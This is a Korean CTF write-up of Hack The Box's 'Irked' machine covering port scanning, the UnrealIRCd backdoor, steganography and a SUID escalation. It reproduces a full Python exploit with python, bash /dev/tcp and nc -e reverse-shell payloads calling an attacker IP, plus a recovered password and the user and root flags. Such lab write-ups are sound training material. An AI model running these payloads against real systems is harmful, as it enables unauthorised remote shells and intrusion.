Wargame/Hack The Box

[HTB] Irked Writeup

Vardy 2022. 2. 7. 22:44

nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.1.108

80포트에는 이미지 파일만이 존재했다.

 

다른 취약점이 있나 확인해보았다.

nmap --script vuln 10.129.1.108 -p 22,80,111,6697,8067,50193,65534 -o nmapVulnScanResult.txt

8067 포트의 unrealircd backdoor 취약점을 통해 공략해보기로 했다. 관련해서 구글링을 하다가 아래 레퍼런스를 발견했다.

https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor

 

GitHub - Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor: My backdoor script for a vulnerable version of UnrealIRCd

My backdoor script for a vulnerable version of UnrealIRCd - GitHub - Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor: My backdoor script for a vulnerable version of UnrealIRCd

github.com

#!/usr/bin/python3
import argparse
import socket
import base64

# Sets the target ip and port from argparse
parser = argparse.ArgumentParser()
parser.add_argument('ip', help='target ip')
parser.add_argument('port', help='target port', type=int)
parser.add_argument('-payload', help='set payload type', required=True, choices=['python', 'netcat', 'bash'])
args = parser.parse_args()

# Sets the local ip and port (address and port to listen on)
local_ip = '10.10.14.114'  # CHANGE THIS
local_port = '1234'  # CHANGE THIS 

# The different types of payloads that are supported
python_payload = f'python -c "import os;import pty;import socket;tLnCwQLCel=\'{local_ip}\';EvKOcV={local_port};QRRCCltJB=socket.socket(socket.AF_INET,socket.SOCK_STREAM);QRRCCltJB.connect((tLnCwQLCel,EvKOcV));os.dup2(QRRCCltJB.fileno(),0);os.dup2(QRRCCltJB.fileno(),1);os.dup2(QRRCCltJB.fileno(),2);os.putenv(\'HISTFILE\',\'/dev/null\');pty.spawn(\'/bin/bash\');QRRCCltJB.close();" '
bash_payload = f'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1'
netcat_payload = f'nc -e /bin/bash {local_ip} {local_port}'

# our socket to interact with and send payload
try:
    s = socket.create_connection((args.ip, args.port))
except socket.error as error:
    print('connection to target failed...')
    print(error)
    
# craft out payload and then it gets base64 encoded
def gen_payload(payload_type):
    base = base64.b64encode(payload_type.encode())
    return f'echo {base.decode()} |base64 -d|/bin/bash'

# all the different payload options to be sent
if args.payload == 'python':
    try:
        s.sendall((f'AB; {gen_payload(python_payload)} \n').encode())
    except:
        print('connection made, but failed to send exploit...')

if args.payload == 'netcat':
    try:
        s.sendall((f'AB; {gen_payload(netcat_payload)} \n').encode())
    except:
        print('connection made, but failed to send exploit...')

if args.payload == 'bash':
    try:
        s.sendall((f'AB; {gen_payload(bash_payload)} \n').encode())
    except:
        print('connection made, but failed to send exploit...')
    
#check display any response from the server
data = s.recv(1024)
s.close()
if data != '':
    print('Exploit sent successfully!')

 

nc -nvlp 1234
python3 exploit.py -payload python 10.129.241.203 8067

쉘 획득 후 서버를 조사하던 중 .bash_history 파일에서 아래와 같은 정보를 얻었다.

얻은 정보를 기반으로 아래와 같은 정보를 얻을 수 있었다.

Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

 

steg 라는 언급이 있어서 steganography를 떠올렸고, 80포트의 이미지가 생각나서 숨겨진 데이터를 추출해보았다.

wget http://10.129.1.108/irked.jpg
steghide extract -sf irked.jpg
UPupDOWNdownLRlrBAbaSSss

그 결과 아래의 데이터를 획득 할 수 있었고 이는 djmardov 계정의 패스워드였다.

Kab6h+m+bbp2J:HG

su djmardov

권한 상승을 위해 서버 정보를 조사해보았다.

uname -a

그 후 OS자체 취약점을 활용하여 권한 상승을 시도해보았지만 실패했고,

https://github.com/mzet-/linux-exploit-suggester

 

GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool

Linux privilege escalation auditing tool. Contribute to mzet-/linux-exploit-suggester development by creating an account on GitHub.

github.com

 

setuid가 설정되어있는 파일을 통해 권한 상승을 시도해보기로했다.

find / -perm -u=s -type f 2>/dev/null

suid 설정되어있는 실행파일 중 /usr/bin/viewuser가 수상하여 실행시켜봤더니 /tmp/listusers 파일을 호출함을 알 수 있었고 아래 과정을 통해 루트권한의 리버스쉘을 획득 할 수 있었다.

 

FLAG =

[user] 4a66a78b12dc0e661a59d3f5c0267a8e

[root] 8d8e9e8be64654b6dccc3bff4522daf3

 

반응형